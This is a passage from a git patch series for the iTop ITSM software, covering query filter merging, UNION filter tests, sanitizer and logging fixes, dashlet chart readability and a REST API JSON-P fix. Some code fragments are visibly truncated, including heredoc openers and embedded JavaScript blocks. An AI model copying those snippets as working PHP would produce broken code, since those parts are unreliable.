($oRightFilter->GetFirstJoinedClassAlias() != $oRightFilter->GetClassAlias()) { + throw new CoreException("Limitation: cannot merge two queries if the queried class ({$oRightFilter->GetClass()} AS {$oRightFilter->GetClassAlias()}) is not the first joined class ({$oRightFilter->GetFirstJoinedClass()} AS {$oRightFilter->GetFirstJoinedClassAlias()})"); } + + /** @var \DBObjectSearch $oLeftFilter */ + $oLeftFilter = $this->DeepClone(); + /** @var DBObjectSearch $oRightFilter */ + $oRightFilter = $oRightFilter->DeepClone(); + + $bAllowAllData = ($oLeftFilter->IsAllDataAllowed() && $oRightFilter->IsAllDataAllowed()); + if ($bAllowAllData) { + $oLeftFilter->AllowAllData(); + } + + if ($oLeftFilter->GetFirstJoinedClass() != $oRightFilter->GetClass()) { + if (MetaModel::IsParentClass($oLeftFilter->GetFirstJoinedClass(), $oRightFilter->GetClass())) { + // Specialize $oLeftFilter + $oLeftFilter->ChangeClass($oRightFilter->GetClass(), $oLeftFilter->GetFirstJoinedClassAlias()); + } elseif (MetaModel::IsParentClass($oRightFilter->GetFirstJoinedClass(), $oLeftFilter->GetClass())) { + // Specialize $oRightFilter + $oRightFilter->ChangeClass($oLeftFilter->GetFirstJoinedClass()); + } else { + throw new CoreException("Attempting to merge a filter of class '{$oLeftFilter->GetClass()}' with a filter of class '{$oRightFilter->GetClass()}'"); + } + } + + $aAliasTranslation = array(); + $oLeftFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); + $oLeftFilter->MergeWith_InNamespace($oRightFilter, $aRootClasses, $aAliasTranslation); + $oRightFilter->RenameNestedQueriesAliasesInNameSpace($aRootClasses, $aAliasTranslation); + $oLeftFilter->TransferConditionExpression($oRightFilter, $aAliasTranslation); + + return $oLeftFilter; } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php index e69de29bb..7934623e7 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php @@ -0,0 +1,66 @@ +AllowAllData(); + $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); + $this->InvokeNonPublicMethod(get_class($oSearch), 'SetDataFiltered', $oSearch, []); + + $this->debug($oSearch->ToOQL()); + + $oSet = new DBObjectSet($oSearch); + $oSet->Count(); + + $this->assertTrue(true); + } + + /** + * Ignored test (provokes PHP Error) + * + * @return void + * @throws \CoreException + * @throws \MissingQueryArgument + * @throws \MySQLException + * @throws \MySQLHasGoneAwayException + * @throws \OQLException + */ + public function testFilterOnSecondSelectedClass() + { + $sSourceOQL = 'SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1'; + $oSearch = DBSearch::FromOQL($sSourceOQL); + + $sFilterOQL = 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3'; + $oVisibleObjects = DBSearch::FromOQL($sFilterOQL); + $sClassAlias = 'L1'; + $oVisibleObjects->AllowAllData(); + $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); + + $oSearch->ToOQL(); + + $oSet = new DBObjectSet($oSearch); + $oSet->CountWithLimit(1); + + $this->assertTrue(true); + } +} From ca7aa482abd017126629f4954ebc9183c7e609c8 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 5 Apr 2023 17:42:26 +0200 Subject: [PATCH 201/230] =?UTF-8?q?N=C2=B06085=20-=20UNION=20is=20not=20su?= =?UTF-8?q?pported=20in=20UserRightsProfile::GetSelectFilter?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (cherry picked from commit 8ffddeff01984b02227a7508818280c0ee32b614) --- .../unitary-tests/core/DBUnionSearchTest.php | 60 +++++++++++++++++-- 1 file changed, 55 insertions(+), 5 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php index 7934623e7..5a622bd25 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBUnionSearchTest.php @@ -38,6 +38,7 @@ class DBUnionSearchTest extends ItopDataTestCase /** * Ignored test (provokes PHP Error) * + * @dataProvider FilterOnSecondSelectedClassProvider * @return void * @throws \CoreException * @throws \MissingQueryArgument @@ -45,22 +46,71 @@ class DBUnionSearchTest extends ItopDataTestCase * @throws \MySQLHasGoneAwayException * @throws \OQLException */ - public function testFilterOnSecondSelectedClass() + public function testFilterOnSecondSelectedClass($sSourceOQL, $sClassAlias, $sFilterOQL, $sExpected) { - $sSourceOQL = 'SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1'; $oSearch = DBSearch::FromOQL($sSourceOQL); - $sFilterOQL = 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3'; $oVisibleObjects = DBSearch::FromOQL($sFilterOQL); - $sClassAlias = 'L1'; $oVisibleObjects->AllowAllData(); $oSearch = $oSearch->Filter($sClassAlias, $oVisibleObjects); - $oSearch->ToOQL(); + $sResult = $oSearch->ToOQL(); + $this->debug($sResult); + + $this->assertEquals($sExpected, $sResult); $oSet = new DBObjectSet($oSearch); $oSet->CountWithLimit(1); $this->assertTrue(true); } + + public function FilterOnSecondSelectedClassProvider() + { + return [ + [ + 'sSourceOQL' => "SELECT P1, L1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1", + 'sClassAlias' => "L1", + 'sFilterOQL' => "SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3", + 'sExpected' => "SELECT `P1`, `L1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 2)) UNION SELECT `P1`, `L1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 3))", + ], + [ + 'sSourceOQL' => 'SELECT L1, P1 FROM Person AS P1 JOIN Location AS L1 ON P1.location_id = L1.id WHERE L1.id = 1', + 'sClassAlias' => 'L1', + 'sFilterOQL' => 'SELECT Location AS L2 WHERE L2.id = 2 UNION SELECT Location AS L3 WHERE L3.id = 3', + 'sExpected' => 'SELECT `L1`, `P1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 2)) UNION SELECT `L1`, `P1` FROM Person AS `P1` JOIN Location AS `L1` ON `P1`.location_id = `L1`.id WHERE ((`L1`.`id` = 1) AND (`L1`.`id` = 3))', + ], + [ + 'sSourceOQL' => "SELECT L1,O1 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => "O1", + 'sFilterOQL' => "SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3", + 'sExpected' => "SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O1`.`id` = 2)) UNION SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O1`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT L1,O2 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `L1`, `O2` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 2)) UNION SELECT `L1`, `O2` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT L1,O1 FROM Location AS L1 JOIN Organization AS O1 ON L1.org_id=O1.id JOIN Organization AS O2 ON O1.parent_id = O2.id WHERE L1.name != 'l1-name' AND O1.name != 'o1-name' AND ISNULL(O2.name) != 0", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + // This is another problem, we should not be able to filter on not selected classes + 'sExpected' => "SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 2)) UNION SELECT `L1`, `O1` FROM Location AS `L1` JOIN Organization AS `O1` ON `L1`.org_id = `O1`.id JOIN Organization AS `O2` ON `O1`.parent_id = `O2`.id WHERE ((((`L1`.`name` != 'l1-name') AND (`O1`.`name` != 'o1-name')) AND (ISNULL(`O2`.`name`) != 0)) AND (`O2`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT P1, O1 FROM Person AS P1 JOIN Organization AS O1 ON P1.org_id = O1.id JOIN Location AS L1 ON P1.location_id = L1.id JOIN Organization AS O2 ON L1.org_id = O2.id WHERE L1.name != '' AND P1.name != '' AND O1.name != '' AND O2.name != ''", + 'sClassAlias' => 'O1', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `P1`, `O1` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O1`.`id` = 2)) UNION SELECT `P1`, `O1` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O1`.`id` = 3))", + ], + [ + 'sSourceOQL' => "SELECT P1, O2 FROM Person AS P1 JOIN Organization AS O1 ON P1.org_id = O1.id JOIN Location AS L1 ON P1.location_id = L1.id JOIN Organization AS O2 ON L1.org_id = O2.id WHERE L1.name != '' AND P1.name != '' AND O1.name != '' AND O2.name != ''", + 'sClassAlias' => 'O2', + 'sFilterOQL' => 'SELECT Organization AS O1 WHERE O1.id = 2 UNION SELECT Organization AS O2 WHERE O2.id = 3', + 'sExpected' => "SELECT `P1`, `O2` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O2`.`id` = 2)) UNION SELECT `P1`, `O2` FROM Person AS `P1` JOIN Organization AS `O1` ON `P1`.org_id = `O1`.id JOIN Location AS `L1` ON `P1`.location_id = `L1`.id JOIN Organization AS `O2` ON `L1`.org_id = `O2`.id WHERE (((((`L1`.`name` != '') AND (`P1`.`name` != '')) AND (`O1`.`name` != '')) AND (`O2`.`name` != '')) AND (`O2`.`id` = 3))", + ], + ]; + } } From 064e8ee511b9ba42ad3742e51822605b4bbd6c79 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 21 Mar 2023 09:03:54 +0100 Subject: [PATCH 202/230] :white_check_mark: Fix AttributeDefinitionTest parse error in PHP 7.2 (cherry picked from commit 307edd3f7a3715e2b95e0b4960cf62b23d3f06e4) --- .../core/AttributeDefinitionTest.php | 28 ++++++++++++------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php index 624642a13..b8abf5d75 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeDefinitionTest.php @@ -2,7 +2,6 @@ namespace Combodo\iTop\Test\UnitTest\Core; -use CMDBSource; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; use MetaModel; @@ -76,7 +75,8 @@ class AttributeDefinitionTest extends ItopDataTestCase { \$ormLinkset = \$oObject->Get('workorders_list'); \$ormLinkset->AddItem(MetaModel::NewObject('WorkOrder', [])); \$oObject->Set('workorders_list', \$ormLinkset); -PHP, +PHP + , false, true, ], @@ -88,7 +88,8 @@ PHP, \$ormLinkset = \$oObject->Get('contacts_list'); \$ormLinkset->AddItem(MetaModel::NewObject('lnkContactToTicket', [])); \$oObject->Set('contacts_list', \$ormLinkset); -PHP, +PHP + , false, true, ], @@ -97,7 +98,8 @@ PHP, 'value', <<Set('value', 100); -PHP, +PHP + , false, true, ], @@ -106,7 +108,8 @@ PHP, 'speed', <<Set('speed', 1024.5); -PHP, +PHP + , false, true, ], @@ -115,7 +118,8 @@ PHP, 'title', <<Set('title', 'Some title'); -PHP, +PHP + , false, true, ], @@ -124,7 +128,8 @@ PHP, 'item_id', <<Set('item_id', 12); -PHP, +PHP + , false, true, ], @@ -133,7 +138,8 @@ PHP, 'org_id', <<Set('org_id', 3); -PHP, +PHP + , false, true, ], @@ -142,7 +148,8 @@ PHP, 'file', <<Set('file', new ormDocument('something', 'text/plain', 'something.txt')); -PHP, +PHP + , false, true, ], @@ -167,7 +174,8 @@ PHP, /** @var \ormPassword \$ormPassword */ \$ormPassword = new ormPassword('somehash', 'somesalt'); \$oObject->Set('password', \$ormPassword); -PHP, +PHP + , false, true, ], From 34368fe795b6c7d54c15f292c01ac45219c63c04 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 11 Apr 2023 17:52:41 +0200 Subject: [PATCH 203/230] =?UTF-8?q?N=C2=B06173=20\HTMLSanitizer::Sanitize?= =?UTF-8?q?=20:=20Fix=20handling=20only=20svg=5Fsanitizer=20(#450)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/htmlsanitizer.class.inc.php | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/core/htmlsanitizer.class.inc.php b/core/htmlsanitizer.class.inc.php index 18bb2574d..68cf63176 100644 --- a/core/htmlsanitizer.class.inc.php +++ b/core/htmlsanitizer.class.inc.php @@ -49,10 +49,9 @@ abstract class HTMLSanitizer $sSanitizerClass = 'HTMLDOMSanitizer'; } else if (false === is_subclass_of($sSanitizerClass, HTMLSanitizer::class)) { if ($sConfigKey === 'html_sanitizer') { - IssueLog::Warning('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a subclass of HTMLSanitizer. Will use HTMLDOMSanitizer as the default sanitizer.'); + IssueLog::Warning('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a subclass of '.HTMLSanitizer::class.'. Will use HTMLDOMSanitizer as the default sanitizer.'); $sSanitizerClass = 'HTMLDOMSanitizer'; - } - if ($sConfigKey === 'svg_sanitizer') { + } else { IssueLog::Error('The configured "'.$sConfigKey.'" class "'.$sSanitizerClass.'" is not a subclass of '.HTMLSanitizer::class.' ! Won\'t sanitize string.'); return $sHTML; From 1ddfaf0b613e3e6bd8911f997a3e51e2bc313000 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 11 Apr 2023 18:09:45 +0200 Subject: [PATCH 204/230] =?UTF-8?q?N=C2=B06100=20ObjectFormManager::OnSubm?= =?UTF-8?q?it=20:=20better=20log=20for=20DBWrite=20exceptions=20(#353)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Molkobain --- .../portal/src/Form/ObjectFormManager.php | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php b/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php index 91ab12ebf..a092770a5 100644 --- a/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php +++ b/datamodels/2.x/itop-portal-base/portal/src/Form/ObjectFormManager.php @@ -40,6 +40,7 @@ use Dict; use DOMDocument; use DOMXPath; use Exception; +use ExceptionLog; use InlineImage; use IssueLog; use MetaModel; @@ -1142,6 +1143,7 @@ class ObjectFormManager extends FormManager $sObjectClass = get_class($this->oObject); + $bExceptionLogged = false; try { // modification flags $bIsNew = $this->oObject->IsNew(); @@ -1163,6 +1165,14 @@ class ObjectFormManager extends FormManager throw new Exception($e->getHtmlMessage()); } catch (Exception $e) { + $aContext = [ + 'origin' => __CLASS__.'::'.__METHOD__, + 'obj_class' => get_class($this->oObject), + 'obj_key' => $this->oObject->GetKey(), + ]; + ExceptionLog::LogException($e, $aContext); + $bExceptionLogged = true; + if ($bIsNew) { throw new Exception(Dict::S('Portal:Error:ObjectCannotBeCreated')); } @@ -1222,11 +1232,12 @@ class ObjectFormManager extends FormManager } } } - catch (Exception $e) - { + catch (Exception $e) { $aData['valid'] = false; $aData['messages']['error'] += array('_main' => array($e->getMessage())); - IssueLog::Error(__METHOD__.' at line '.__LINE__.' : '.$e->getMessage()); + if (false === $bExceptionLogged) { + IssueLog::Error(__METHOD__.' at line '.__LINE__.' : '.$e->getMessage()); + } } return $aData; From 1114ed95622c4d79574ed78c0d6c323e7fe8ada1 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Wed, 12 Apr 2023 10:21:34 +0200 Subject: [PATCH 205/230] =?UTF-8?q?N=C2=B06099=20DeadLockLog=20:=20improve?= =?UTF-8?q?=20documentation=20and=20use=20existing=20constants=20(#441)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/log.class.inc.php | 9 ++++++--- .../unitary-tests/core/CMDBSource/DeadLockInjection.php | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index 6596ffa91..1145d1ae0 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -741,7 +741,9 @@ class ToolsLog extends LogAPI /** * @see \CMDBSource::LogDeadLock() - * @since 2.7.1 + * @since 2.7.1 PR #139 + * + * @link https://dev.mysql.com/doc/refman/5.7/en/innodb-deadlocks.html */ class DeadLockLog extends LogAPI { @@ -761,14 +763,15 @@ class DeadLockLog extends LogAPI parent::Enable($sTargetFile); } + /** @noinspection PhpUnreachableStatementInspection */ private static function GetChannelFromMysqlErrorNo($iMysqlErrorNo) { switch ($iMysqlErrorNo) { - case 1205: + case CMDBSource::MYSQL_ERRNO_WAIT_TIMEOUT: return self::CHANNEL_WAIT_TIMEOUT; break; - case 1213: + case CMDBSource::MYSQL_ERRNO_DEADLOCK: return self::CHANNEL_DEADLOCK_FOUND; break; default: diff --git a/tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php index 12aa2e4c6..20e0411fb 100644 --- a/tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php +++ b/tests/php-unit-tests/unitary-tests/core/CMDBSource/DeadLockInjection.php @@ -56,7 +56,7 @@ class DeadLockInjection if ($this->iRequestCount == $this->iFailAt) { echo "Generating a FAKE DEADLOCK\n"; IssueLog::Trace("Generating a FAKE DEADLOCK", 'cmdbsource'); - throw new MySQLException("FAKE DEADLOCK", [], new Exception("FAKE DEADLOCK", 1213)); + throw new MySQLException("FAKE DEADLOCK", [], new Exception("FAKE DEADLOCK", CMDBSource::MYSQL_ERRNO_DEADLOCK)); } } } From 4e95ca3c7bade2ab40f171cb40a2dc7cf1739f17 Mon Sep 17 00:00:00 2001 From: Anne-Catherine <57360138+accognet@users.noreply.github.com> Date: Thu, 13 Apr 2023 11:23:20 +0200 Subject: [PATCH 206/230] =?UTF-8?q?N=C2=B0541=20-=20Dashlets:=20Improve=20?= =?UTF-8?q?readability=20when=20to=20much=20labels=20(pie=20chart)=20or=20?= =?UTF-8?q?too=20long=20labels=20(bar=20chart)=20(#452)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * N°541 - Dashlets: Improve readability when to much labels (pie chart) or too long labels (bar chart) --- application/displayblock.class.inc.php | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/application/displayblock.class.inc.php b/application/displayblock.class.inc.php index f89172feb..1fff40f1f 100644 --- a/application/displayblock.class.inc.php +++ b/application/displayblock.class.inc.php @@ -1009,6 +1009,8 @@ EOF $iTotalCount = 0; $aValues = array(); $aURLs = array(); + $iMaxNbCharsInLabel = 0; + foreach ($aRes as $iRow => $aRow) { $sValue = $aRow['grouped_by_1']; @@ -1016,7 +1018,11 @@ EOF $aGroupBy[(int)$iRow] = (int) $aRow[$sFctVar]; $iTotalCount += $aRow['_itop_count_']; $aValues[] = array('label' => html_entity_decode(strip_tags($sHtmlValue), ENT_QUOTES, 'UTF-8'), 'label_html' => $sHtmlValue, 'value' => (int) $aRow[$sFctVar]); - + + if ($iMaxNbCharsInLabel < mb_strlen($sValue)) { + $iMaxNbCharsInLabel = mb_strlen($sValue); + } + // Build the search for this subset $oSubsetSearch = $this->m_oFilter->DeepClone(); $oCondition = new BinaryExpression($oGroupByExp, '=', new ScalarExpression($sValue)); @@ -1039,7 +1045,10 @@ EOF $sJson = json_encode($aValues); $oPage->add_ready_script( << 50) { + // Calculation of the number of legends line add to the height of the graph to have a maximum of 5 legend columns + $iNbLinesIncludedInChartHeight = 10; + $iNbLinesToAddForName = ceil(count($aNames) / 5) - $iNbLinesIncludedInChartHeight; + } $oPage->add_ready_script( << Date: Tue, 18 Apr 2023 14:41:55 +0200 Subject: [PATCH 207/230] =?UTF-8?q?N=C2=B06204=20-=20Fix=20REST/JSON=20API?= =?UTF-8?q?=20crash=20when=20using=20JSON-P=20and=20iBackofficeDictXXX=20i?= =?UTF-8?q?nterfaces?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/application/WebPage/WebPage.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/application/WebPage/WebPage.php b/sources/application/WebPage/WebPage.php index 8a93cea1e..0900f7822 100644 --- a/sources/application/WebPage/WebPage.php +++ b/sources/application/WebPage/WebPage.php @@ -1566,7 +1566,7 @@ JS; */ protected function output_dict_entries($bReturnOutput = false) { - if ($this->sContentType != 'text/plain' && $this->sContentType != 'application/json') { + if ($this->sContentType != 'text/plain' && $this->sContentType != 'application/json' && $this->sContentType != 'application/javascript') { /** @var \iBackofficeDictEntriesExtension $oExtensionInstance */ foreach (MetaModel::EnumPlugins('iBackofficeDictEntriesExtension') as $oExtensionInstance) { foreach ($oExtensionInstance->GetDictEntries() as $sDictEntry) { From 096ed9a63afc44d79b63271854144ba2e26871c6 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 18 Apr 2023 22:14:39 +0200 Subject: [PATCH 208/230] =?UTF-8?q?N=C2=B06204=20-=20Improve=20REST=20API?= =?UTF-8?q?=20unit=20test=20readability?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/webservices/RestTest.php | 30 +++++++++++-------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php index 2bb7b10d2..658b5dfab 100644 --- a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php +++ b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php @@ -4,6 +4,8 @@ namespace Combodo\iTop\Test\UnitTest\Webservices; use Combodo\iTop\Test\UnitTest\ItopDataTestCase; use Exception; +use MetaModel; +use utils; /** @@ -19,11 +21,13 @@ class RestTest extends ItopDataTestCase { const USE_TRANSACTION = false; - const MODE = [ 'JSONDATA_AS_STRING' => 0, 'JSONDATA_AS_FILE' => 1 , 'NO_JSONDATA' => 2 ]; + const ENUM_JSONDATA_AS_STRING = 0; + const ENUM_JSONDATA_AS_FILE = 1; + const ENUM_JSONDATA_NONE = 2; private $sTmpFile = ""; /** @var int $iJsonDataMode */ - private $sJsonDataMode; + private $iJsonDataMode; private $sUrl; private $sLogin; private $sPassword = "Iuytrez9876543ç_è-("; @@ -42,10 +46,10 @@ class RestTest extends ItopDataTestCase unlink($this->sTmpFile); } - $this->sUrl = \MetaModel::GetConfig()->Get('app_root_url'); + $this->sUrl = MetaModel::GetConfig()->Get('app_root_url'); - $oRestProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'REST Services User'), true); - $oAdminProfile = \MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'Administrator'), true); + $oRestProfile = MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'REST Services User'), true); + $oAdminProfile = MetaModel::GetObjectFromOQL("SELECT URP_Profiles WHERE name = :name", array('name' => 'Administrator'), true); if (is_object($oRestProfile) && is_object($oAdminProfile)) { $oUser = $this->CreateUser($this->sLogin, $oRestProfile->GetKey(), $this->sPassword); @@ -67,7 +71,7 @@ class RestTest extends ItopDataTestCase $aJson = json_decode($sOuputJson, true); $this->assertNotNull($aJson, "Cannot decode returned JSON : $sOuputJson"); - if ($this->iJsonDataMode === self::MODE['NO_JSONDATA']){ + if ($this->iJsonDataMode === static::ENUM_JSONDATA_NONE){ $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; @@ -121,7 +125,7 @@ JSON; $sOuputJson = $this->CreateTicketViaApi($description); $aJson = json_decode($sOuputJson, true); - if ($this->iJsonDataMode === self::MODE['NO_JSONDATA']){ + if ($this->iJsonDataMode === static::ENUM_JSONDATA_NONE){ $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; @@ -160,7 +164,7 @@ JSON; $sOuputJson = $this->CreateTicketViaApi($description); $aJson = json_decode($sOuputJson, true); - if ($this->iJsonDataMode === self::MODE['NO_JSONDATA']){ + if ($this->iJsonDataMode === static::ENUM_JSONDATA_NONE){ $this->assertStringContainsString("3", "".$aJson['code'], $sOuputJson); $this->assertStringContainsString("Error: Missing parameter 'json_data'", "".$aJson['message'], $sOuputJson); return; @@ -198,9 +202,9 @@ JSON; public function BasicProvider(){ return [ - 'call rest call' => [ 'sJsonDataMode' => self::MODE['JSONDATA_AS_STRING']], - 'pass json_data as file' => [ 'sJsonDataMode' => self::MODE['JSONDATA_AS_FILE']], - 'no json data' => [ 'sJsonDataMode' => self::MODE['NO_JSONDATA']] + 'call rest call' => [ 'sJsonDataMode' => static::ENUM_JSONDATA_AS_STRING], + 'pass json_data as file' => [ 'sJsonDataMode' => static::ENUM_JSONDATA_AS_FILE], + 'no json data' => [ 'sJsonDataMode' => static::ENUM_JSONDATA_NONE] ]; } @@ -254,13 +258,13 @@ JSON; 'auth_pwd' => $this->sPassword, ]; - if ($this->iJsonDataMode === self::MODE['JSONDATA_AS_STRING']){ + if ($this->iJsonDataMode === static::ENUM_JSONDATA_AS_STRING) { $this->sTmpFile = tempnam(sys_get_temp_dir(), 'jsondata_'); file_put_contents($this->sTmpFile, $sJsonDataContent); $oCurlFile = curl_file_create($this->sTmpFile); $aPostFields['json_data'] = $oCurlFile; - }else if ($this->iJsonDataMode === self::MODE['JSONDATA_AS_FILE']){ + } else if ($this->iJsonDataMode === static::ENUM_JSONDATA_AS_FILE) { $aPostFields['json_data'] = $sJsonDataContent; } From 778118cfb401bcf2d771b513e6b067fb819783ed Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 18 Apr 2023 22:34:11 +0200 Subject: [PATCH 209/230] =?UTF-8?q?N=C2=B06204=20-=20REST=20API:=20Add=20u?= =?UTF-8?q?nit=20test=20for=20callback=20parameter?= MIME-Version: 1.0 Content-Type: text/plain; 